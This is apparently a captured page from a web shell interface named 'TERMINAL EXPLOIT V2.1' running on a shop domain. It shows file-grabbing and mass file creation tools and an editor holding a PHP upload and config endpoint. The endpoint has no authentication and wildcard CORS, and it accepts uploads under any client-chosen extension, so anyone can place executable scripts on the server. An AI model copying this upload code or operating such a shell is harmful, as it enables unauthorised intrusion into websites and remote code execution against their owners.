TERMINAL EXPLOIT V2.1

[LOCATION]: /home/firebase/loja.firebasecertification.com/

Folder Link Grabber

PREFIX: SUFFIX:

Mass File Creator

FILENAME: CONTENT:

Quick Actions

FILE:
NEW_ITEM:
<?php
header('Content-Type: application/json');
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST, GET, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type");

// Diretório de upload
$uploadDir = 'uploads/';
$baseUrl = 'https://loja.firebasecertification.com/' . $uploadDir;

if (!file_exists($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

// Diretório para salvar os arquivos config.json e store.json
$dbDir = 'db/';
if (!file_exists($dbDir)) {
    mkdir($dbDir, 0777, true);
}

// Verificar o método de requisição
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tag = isset($_POST['tag']) ? $_POST['tag'] : 'default';

    if ($tag === 'config') {
        // Receber a string da API
        $configData = isset($_POST['data']) ? $_POST['data'] : null;

        if ($configData) {
            // Caminho do arquivo config.json
            $configFilePath = $dbDir . 'config.json';

            // Salvar a string no arquivo config.json
            if (file_put_contents($configFilePath, $configData)) {
                echo json_encode([
                    "status" => "success",
                    "message" => "Configuração salva com sucesso!",
                    "file_path" => $configFilePath
                ]);
            } else {
                echo json_encode([
                    "status" => "error",
                    "message" => "Falha ao salvar a configuração."
                ]);
            }
        } else {
            echo json_encode([
                "status" => "error",
                "message" => "Nenhuma configuração recebida."
            ]);
        }
    } elseif ($tag === 'get_config') {
        // Caminho do arquivo config.json
        $configFilePath = $dbDir . 'config.json';

        // Verificar se o arquivo existe
        if (file_exists($configFilePath)) {
            $configContent = file_get_contents($configFilePath);

            echo json_encode([
                "status" => "success",
                "message" => "Configuração carregada com sucesso!",
                "data" => $configContent // Retorna o conteúdo diretamente como string
            ]);
        } else {
            echo json_encode([
                "status" => "error",
                "message" => "Arquivo de configuração não encontrado.",
                "data" => "" // Garante que o campo "data" sempre esteja presente
            ]);
        }
    } elseif ($tag === 'store') {
        // Receber a string da API
        $storeData = isset($_POST['data']) ? $_POST['data'] : null;

        if ($storeData) {
            // Caminho do arquivo store.json
            $storeFilePath = $dbDir . 'store.json';

            // Salvar a string no arquivo store.json
            if (file_put_contents($storeFilePath, $storeData)) {
                echo json_encode([
                    "status" => "success",
                    "message" => "Store salvo com sucesso!",
                    "file_path" => $storeFilePath
                ]);
            } else {
                echo json_encode([
                    "status" => "error",
                    "message" => "Falha ao salvar o store."
                ]);
            }
        } else {
            echo json_encode([
                "status" => "error",
                "message" => "Nenhuma informação de store recebida."
            ]);
        }
    } elseif ($tag === 'get_store') {
        // Caminho do arquivo store.json
        $storeFilePath = $dbDir . 'store.json';

        // Verificar se o arquivo existe
        if (file_exists($storeFilePath)) {
            $storeContent = file_get_contents($storeFilePath);

            echo json_encode([
                "status" => "success",
                "message" => "Store carregado com sucesso!",
                "data" => $storeContent // Retorna o conteúdo diretamente como string
            ]);
        } else {
            echo json_encode([
                "status" => "error",
                "message" => "Arquivo de store não encontrado.",
                "data" => "" // Garante que o campo "data" sempre esteja presente
            ]);
        }
    } elseif (isset($_FILES['image']) && $_FILES['image']['error'] === UPLOAD_ERR_OK) {
        $fileTmpPath = $_FILES['image']['tmp_name'];
        $fileExtension = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);

        // Nome do arquivo usando a tag
        $fileName = $tag . '.' . $fileExtension;
        $filePath = $uploadDir . $fileName;
        $fileUrl = $baseUrl . $fileName;

        // Mover o arquivo para o diretório de upload
        if (move_uploaded_file($fileTmpPath, $filePath)) {
            echo json_encode([
                "status" => "success",
                "message" => "Upload bem-sucedido!",
                "tag" => $tag,
                "file_url" => $fileUrl
            ]);
        } else {
            echo json_encode(["status" => "error", "message" => "Falha ao mover o arquivo."]);
        }
    } else {
        echo json_encode(["status" => "error", "message" => "Erro no upload ou arquivo inválido."]);
    }
} else {
    echo json_encode(["status" => "error", "message" => "Método de requisição inválido."]);
}
?>
[ CLOSE ]